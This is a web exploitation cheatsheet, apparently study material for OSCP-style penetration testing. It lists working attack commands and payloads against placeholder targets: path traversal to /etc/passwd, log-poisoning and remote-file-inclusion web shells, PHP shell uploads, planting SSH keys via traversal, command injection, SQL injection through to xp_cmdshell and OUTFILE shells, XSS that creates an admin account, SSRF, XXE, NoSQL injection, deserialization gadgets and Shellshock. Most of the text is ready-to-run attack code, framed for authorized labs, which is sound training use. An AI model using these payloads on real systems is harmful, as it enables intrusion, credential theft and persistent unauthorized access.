10.4 Web Exploitation Cheatsheet

Need: A reproducible application request and a controlled input or access-context comparison. Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file

Linux proof:

curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH

Windows proof:

curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH

curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'

..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//....//....//etc/passwd

Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.

Verify: Require recognizable target-file content and controls that exclude a reflected input or static error page.

If it fails: An empty/denied response can be path depth, normalization or file permissions. If only file read is proven, follow credentials instead of assuming code execution.

Need: A reproducible application request and a controlled input or access-context comparison. Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available

curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.

PAYLOAD=$(printf '%s' '<?php echo shell_exec($_GET["cmd"]); ?>' | base64 -w0)
curl -skG --data-urlencode "page=data://text/plain;base64,$PAYLOAD" --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

python3 -m http.server TRANSFER_PORT --bind LHOST
curl -skG --data-urlencode 'page=http://LHOST:TRANSFER_PORT/check.php' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php

Verify: Require command-specific output distinct from the logged payload and record hostname/identity.

If it fails: Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.

Need: A reproducible application request and a controlled input or access-context comparison. Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted

PHP example, only after PHP handler evidence:

printf '%s\n' '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>' > check.php
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.php;type=application/x-php' http://TARGET:PORT/upload
curl -skG --data-urlencode 'cmd=id' http://TARGET:PORT/uploads/check.php

curl -sk -b cookies.txt -F 'file=@check.php;filename=check.pHP;type=image/jpeg' http://TARGET:PORT/upload

Verify: Require target command output and identity; acceptance, source download and a 200 status are weaker results.

If it fails: Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell.

Need: A reproducible application request and a controlled input or access-context comparison. Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

First use a harmless unique filename outside the normal upload directory and verify it through a separate read/listing primitive. Do not overwrite an existing file as a detection test.

ssh-keygen -t ed25519 -f ./web_upload_key -N ''
cp ./web_upload_key.pub ./authorized_keys
curl -sk -b cookies.txt -F 'file=@authorized_keys;filename=../../../../home/USER/.ssh/authorized_keys' http://TARGET:PORT/upload
ssh -i ./web_upload_key -p SSH_PORT USER@TARGET

Verify: Independently prove destination and bytes before claiming a privileged consumer or accepted key.

If it fails: Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.

Need: A reproducible application request and a controlled input or access-context comparison. Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof

10.4.10.1.18.1 Prove command execution through independently recognizable output Visible-output baseline

Start with a benign identity marker appropriate to the inferred operating system:

curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH

127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid

curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH

127.0.0.1 & whoami
127.0.0.1 | whoami

10.4.10.1.18.2 Check command execution through repeated control and timing comparisons Blind timing proof

Repeat a control and a bounded-delay request several times:

curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH

Windows candidate after platform evidence:

127.0.0.1 & timeout /t 5

10.4.10.1.18.3 After command execution

Linux:   id; hostname; pwd
Windows: whoami; hostname; cd

Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.

Verify: Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.

If it fails: A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.

Need: A reproducible application request and a controlled input or access-context comparison. Input reaches a SQL query; a valid request and stable response baseline exist

Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.

10.4.10.1.20.1 Establish query influence

Replay a valid request in Burp Repeater. Change one parameter and compare a normal value, quote, true condition and false condition:

VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2

For a numeric context:

1
1 AND 1=1
1 AND 1=2

10.4.10.1.20.2 Test whether query influence changes authentication decisions Authentication-bypass candidate

In an authorized disposable lab, preserve the application's quoting and comment syntax:

' OR 1=1-- -
administrator'-- -

10.4.10.1.20.3 Find the column count and types needed for a UNION result Determine UNION shape

First establish column count:

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

Or increment NULL columns until the query succeeds:

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Then find a displayed text-compatible column:

' UNION SELECT NULL,'MARKER_7F31',NULL-- -

10.4.10.1.20.4 Extract only after fingerprinting the DBMS

MySQL:      ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL:      ' UNION SELECT NULL,@@version,NULL-- -

Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.

10.4.10.1.20.5 Infer selected database values through stable response differences Boolean- or time-blind extraction

Choose a stable page marker or content length for true/false comparisons:

' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -

DBMS-specific time proofs:

MySQL:      ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL:      '; IF (1=1) WAITFOR DELAY '0:0:5'--

Verify: Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.

If it fails: Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.

Need: A reproducible application request and a controlled input or access-context comparison. DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer

This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';

DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;

SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';

Verify: Verify the resulting host and operating-system identity, or independently verify written/read bytes.

If it fails: Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.

Need: A reproducible application request and a controlled input or access-context comparison. The server accepts a lower-privilege identity's request for an object it should not access

Use two controlled lab identities and one object owned by each:

GET /api/orders/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN

1. Save user A's successful request for object A.
2. Change only the path/query/body object reference to object B.
3. Keep A's token.
4. Verify disclosure or the intended update/delete effect against B's object.

Decisive output: data or a state change belonging to B under A's context. A different error or 200 wrapper is not enough.

Verify: Verify object ownership, requesting identity and the actual unauthorized effect.

If it fails: A 200 response may be a generic page or public object. Validate ownership and intended access before drawing a conclusion.

Need: A reproducible application request and a controlled input or access-context comparison. The lower-role identity can invoke a protected server-side action without its required authorization

Replay the same operation as:

anonymous -> ordinary user -> alternate ordinary user -> administrator

Compare UI and API paths, then test the legitimate method variants suggested by captured traffic or documentation.

curl -ski -b user-a.cookies http://TARGET:PORT/admin/PATH
curl -ski -X POST -b user-a.cookies -H 'Content-Type: application/json' -d '{"action":"EXPECTED_ACTION"}' http://TARGET:PORT/api/admin/PATH

Verify: Prove the protected effect and requesting identity; a rendered administrative page without action rights is a weaker finding.

If it fails: Expired cookies, CSRF checks and wrong methods are request-state failures; preserve the valid baseline before assessing authorization.

Need: A reproducible application request and a controlled input or access-context comparison. The server binds an untrusted property to a persistent security-relevant field without checking permission

Start with a valid captured registration/update request and add one server-owned property:

curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register

curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password

Verify: Independently reread the object and demonstrate the resulting permitted action under the same account.

If it fails: Ignored/filtered fields disprove that specific assignment route; investigate another property or function boundary.

Need: A reproducible application request and a controlled input or access-context comparison. Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state

First inject a unique text marker and inspect where it appears in raw HTML and the DOM. Then use a controlled proof appropriate to the context:

<img src=x onerror=alert(document.domain)>

Classify the path:

• reflected: victim must visit a crafted request;
• stored: payload persists and a relevant user later renders it;
• DOM-based: client-side code moves controlled data into an executable DOM sink.

Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.

Match the proof to the observed parser context rather than trying a random payload list:

Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.

HttpOnly prevents JavaScript from reading that cookie, but same-origin XSS may still issue authenticated requests from the victim browser. Recreate a legitimate privileged workflow and obtain its anti-CSRF value first:

fetch('/admin/users/new')
  .then(r => r.text())
  .then(t => {
    const token = new DOMParser().parseFromString(t, 'text/html')
      .querySelector('input[name="csrf"]')?.value;
    return fetch('/admin/users', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
    });
  });

Verification: authenticate as NEW_USER and perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.

Verify: Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.

If it fails: Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.

Need: A reproducible application request and a controlled input or access-context comparison. Exact component/version or a verified role; file-edit/plugin installation rights and runtime write/execution must be checked

Recognition: WordPress-specific paths/assets, generator metadata, REST routes or wp-content. Prerequisite: correct scheme, host header and base path. Decisive output: core/plugin/theme identity or an authenticated capability that maps to a concrete prerequisite.

curl -skI https://HOSTNAME/
curl -sk https://HOSTNAME/robots.txt
curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-content/
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html

Inspect page source for /wp-content/plugins/NAME/, /wp-content/themes/NAME/, versioned assets and alternate base paths. A visible version is a candidate, not exploitability proof.

wpscan --url https://HOSTNAME/ --disable-tls-checks \
  --enumerate vp,vt,u --plugins-detection mixed \
  --output wpscan-HOSTNAME.txt

Validate one legitimately acquired credential and then enumerate the role/capabilities it actually grants.

curl -sk -c wp.cookies -b wp.cookies \
  --data-urlencode 'log=USER' \
  --data-urlencode 'pwd=PASSWORD' \
  --data-urlencode 'wp-submit=Log In' \
  --data-urlencode 'redirect_to=https://HOSTNAME/wp-admin/' \
  https://HOSTNAME/wp-login.php -D wp-login.headers

curl -sk -b wp.cookies https://HOSTNAME/wp-admin/ -o wp-admin.html

XML-RPC exposure is a feature clue, not automatically a vulnerability:

curl -sk -X POST https://HOSTNAME/xmlrpc.php \
  -H 'Content-Type: text/xml' \
  --data '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName><params></params></methodCall>'

If it fails: Missing editor, insufficient role or read-only filesystem changes the branch. Use exact exploit prerequisite matching or credential reuse.

Need: A reproducible application request and a controlled input or access-context comparison. The application server performs a controllable request; destination/protocol policy and its network position permit the selected resource

Recognition: URL import, webhook, image/PDF fetch, feed preview, link unfurling or callback validation. Prerequisite: a parameter that the server dereferences. Decisive output: a request observed at a controlled listener or a stable response difference tied to the destination.

Listener:

python3 -m http.server LPORT --bind 0.0.0.0

Hypothetical request replay:

curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'

Interpret the path explicitly:

browser/client -> vulnerable application -> requested URL

The application, not Kali, must resolve and reach the destination. A browser-side fetch, open redirect or reflected URL does not prove SSRF.

# Only after an external controlled callback proves server-side fetching
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk 'https://HOSTNAME/fetch?url=http://localhost:PORT/'

# Preserve encoding when the URL is nested in form data
curl -sk -X POST https://HOSTNAME/fetch \
  --data-urlencode 'url=http://127.0.0.1:PORT/'

Verify: Verify source/request evidence and the exact returned internal behavior; separate blind fetches from response-readable SSRF.

If it fails: No callback may be DNS, URL validation, egress or application behavior. Test the first failed boundary and avoid indiscriminate destination guessing.

Need: A reproducible application request and a controlled input or access-context comparison. The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function

Use when controlled text appears inside a server-rendered template, email preview or report. Replay the real parameter and session. These are separate probes, not one universal payload:

10.4.10.1.48 Jinja/Twig-style expression probe

# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

10.4.10.1.49 A different delimiter family, only when the first is literal or errors suggest it

# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH

10.4.10.1.50 Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation

# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH

Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.

Sources: upstream 1.

Verify: Require repeatable computed output and corroborating engine clues; the value 49 alone does not identify the engine.

If it fails: Literal output rejects that syntax in the tested sink; a syntax error can be a parser clue but is not exploitation proof.

Need: A reproducible application request and a controlled input or access-context comparison. External entity or XInclude processing is enabled and the parser identity can read the selected file

Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:

<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>

curl -i -b cookies.txt -H 'Content-Type: application/xml' \
  --data-binary @xxe.xml http://TARGET:PORT/PATH

Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.

If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:

<value xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</value>

A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.

Sources: upstream 1.

Verify: Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.

If it fails: DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.

Need: A reproducible application request and a controlled input or access-context comparison. The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type

Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.

10.4.10.1.55 A known username with an operator-valued password

# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
  --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

10.4.10.1.56 Distinct context: a form parser that expands bracketed properties

# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
  --data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN

Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.

Sources: upstream 1.

Verify: Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.

If it fails: Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.

Need: A reproducible application request and a controlled input or access-context comparison. Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes

Use when a controlled serialized value reaches unsafe unserialize() and the required classes are loaded. Identify dependencies/builds from source or composer.lock first.

10.4.10.1.59 Inspect available families and the exact chain's version/vector requirements

# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1

10.4.10.1.60 Example function-call gadget, only when that chain matches the application

# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64

Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.

Sources: upstream 1.

Verify: Require the exact dependency/version, sink and attributable effect; successful payload generation proves none of these.

If it fails: Missing classes, allowed-class restrictions, length corruption or version mismatch defeats the chain; choose only an evidence-matched family.

Need: A reproducible application request and a controlled input or access-context comparison. HTTP-derived environment data reaches an affected Bash process and the selected command is available

Use when a confirmed CGI endpoint passes HTTP-derived environment variables into an affected Bash process. An arbitrary PHP/Java route or a Bash version string alone does not establish this chain.

# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
  http://TARGET:PORT/cgi-bin/SCRIPT

Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.

Sources: upstream 1.

Verify: Require command-derived output distinct from reflected header text and record the CGI identity.

If it fails: No effect can mean patched Bash, non-Bash CGI, header sanitization or wrong endpoint; re-check the component before another payload.